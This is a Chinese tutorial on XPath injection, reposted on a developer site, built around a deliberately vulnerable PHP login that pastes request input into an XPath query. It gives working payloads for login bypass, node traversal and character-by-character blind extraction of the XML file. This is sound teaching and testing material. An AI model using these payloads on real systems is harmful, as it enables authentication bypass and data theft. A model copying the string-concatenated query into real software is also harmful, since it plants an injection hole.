XPath 注入指北

栏目: 编程语言 · XML · 发布时间: 5年前

内容简介:XPath 是一门在 XML 文档中查找信息的语言,类比来看, XML 为数据库,XPath 为 SQL语言,用于查询数据。有查询嘛,十有八九就有注入的方式。还有一个利用 XPath 在线解析 xml 的,

XPath 是一门在 XML 文档中查找信息的语言,类比来看, XML 为数据库,XPath 为 SQL 语言,用于查询数据。有查询嘛,十有八九就有注入的方式。

XPath 简介

XPath ,经常写爬虫的人应该都不陌生。比如 Python 中,经常使用 lxml 来获取网页的元素,特别方便。

对应的 Chrome 也有一个插件,叫 XPath Helper ,能直接给出鼠标所在的 XPath 路径:

XPath 注入指北

还有一个利用 XPath 在线解析 xml 的, 传送门:door:

强烈推荐,这些辅助 工具 都很好用。

XPath 极速入门

菜鸟教程: 传送门:door:

助攻函数

字符串相关

chr

其他函数

  • count(item[, item1, …]):返回节点的数量。
  • position():返回当前正在被处理的节点的 index 位置。
  • last():返回在被处理的节点列表中的项目数目。
  • name([nodeset]):返回当前节点的名称或指定节点集中的第一个节点。

注入类型

XPath 注入基本上被分为常规注入和布尔盲注。测试代码如下:

users.xml:

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <users>
        <user>
            <id>1</id>
            <username>admin</username>
            <password type="md5">0192023a7bbd73250516f069df18b500</password>
        </user>
        <user>
            <id>2</id>
            <username>jack</username>
            <password type="md5">1d6c1e168e362bc0092f247399003a88</password>
        </user>
        <user>
            <id>3</id>
            <username>tony</username>
            <password type="md5">cc20f43c8c24dbc0b2539489b113277a</password>
        </user>
    </users>
    <secret>
        <flag>flag{My_f1rst_xp4th_iNjecti0n}</flag>
    </secret>
</root>

index.php:

<?php
$xml = simplexml_load_file('users.xml');
$name = $_GET['u'];
$pwd = md5($_GET['p']);
$query = "/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
echo $query;
$result = $xml->xpath($query);
if($result) {
    echo '<h2>Welcome</h2>';
    foreach ($result as $key => $value) {
        echo '<br />ID:'.$value->id;
        echo '<br />Username:'.$value->username;
    }
}

常规注入

万能密码

这段测试代码的查询语句如下:

/root/users/user[username/text()='' and password/text()='']

显而易见,注入点只有 username,因为 password 会进行 md5。首先很容易想到万能密码:

payload:

u = "admin' or '1"
p = ""

结果:

/root/users/user[username/text()='admin' or '1' and password/text()='d41d8cd98f00b204e9800998ecf8427e']

XPath 注入指北

这个 payload 需要知道一个存在的用户名。如果不知道的话,再加个 or 就行了:

payload

u = "' or 1 or '1"
p= ""

结果

/root/users/user[username/text()='' or 1 or '1' and password/text()='d41d8cd98f00b204e9800998ecf8427e']

XPath 注入指北

这里顺便一提,XPath 没有注释一说,所以构造的 payload 要精巧地闭合原语句。

节点遍历

payload

u = "admin'] | //* | //*['"
p = ""

结果

/root/users/user[username/text()=''] | //* | //*['' and password/text()='d41d8cd98f00b204e9800998ecf8427e']

XPath 注入指北

需要注意的是,这里的 | (路径运算符)不能用 or (布尔运算符) 替代,它们是不一样的。

显然,节点遍历也能起到万能密码的作用,且无需知道一个存在的用户名。

布尔盲注

上面的 节点遍历 实际上是有点问题的,很明显我们没有拿到所有的数据,原因是 php 只会输出 idusername 。从上面的截图也可以看出来,如果某个节点的名字不是 id 或者 username,php 就会打印空数据。这个时候就只能利用布尔盲注来获取数据了。

  1. 判断根节点数量:
    payload:
    u = "' or count(/)=1 or '1"
    count(/)=1 一直到 count(/)=n ,判断出根节点有几个。
    u = "' or count(/)=1 or '1"
    返回正常,说明只有 1 个根节点。
  2. 获取根节点名
    首先获取名字长度。
    payload:
    u = "' or string-length(name(/*[1]))=1 or '1"
    string-length(name(/*[1]))=1 一直到 string-length(name(/*[1]))=1 ,判断出第一个根节点的名字长度。
    u = "' or string-length(name(/*[1]))=4 or '1"
    返回正常,说明第一个根节点的名字长度为 4。
    接下来获取逐个字符获取名字
    payload
    u = "' or substring(name(/*[1]), 1, 1)='a' or '1"
    遍历完所有的 ascii 字符后,判断出第一个根节点的名字的第一个字符。
    u = "' or substring(name(/*[1]), 1, 1)='r' or '1"
    返回正常,说明第一个根节点的名字的第一个字符为 r 。按照这个方法,可以判断出根节点名称为 root
    按照上述步骤,可知 root 下的子节点数为 2,第一个子节点的名称为 users ,第二个为 secret …不断重复上述过程,即可拿到完整的 XML 文件。

技巧

XPath 中有很多函数、Axes 可以替代类似 / 路径的作用,例如 root() 返回根节点、 child 选取当前节点的所有子元素等等。

Axes 在这找: 传送门:door:

函数可以在这里找找: 传送门:door:


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

从需求到产品:0岁产品经理进阶之道

从需求到产品:0岁产品经理进阶之道

权莉 / 人民邮电出版社 / 2018-7 / 49.80元

本书主要针对刚入职的初级产品经理,从贴近工作状态的场景切入,对各阶段的知识点进行分类总结,旨在提供一套经过实践检验的产品方法论,为读者从初级产品经理成长为产品经理奠定坚实的基础。 书中提炼的方法和案例涵盖初级产品经理工作的方方面面,从基本技能到思维方式,从需求管理到产品规划定义,从框架选型到流程梳理,从工作模块拆解到案例剖析,用具体且贴合实际工作场景的内容,还原真实的产品工作方法及实践案例,既有方......一起来看看 《从需求到产品:0岁产品经理进阶之道》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换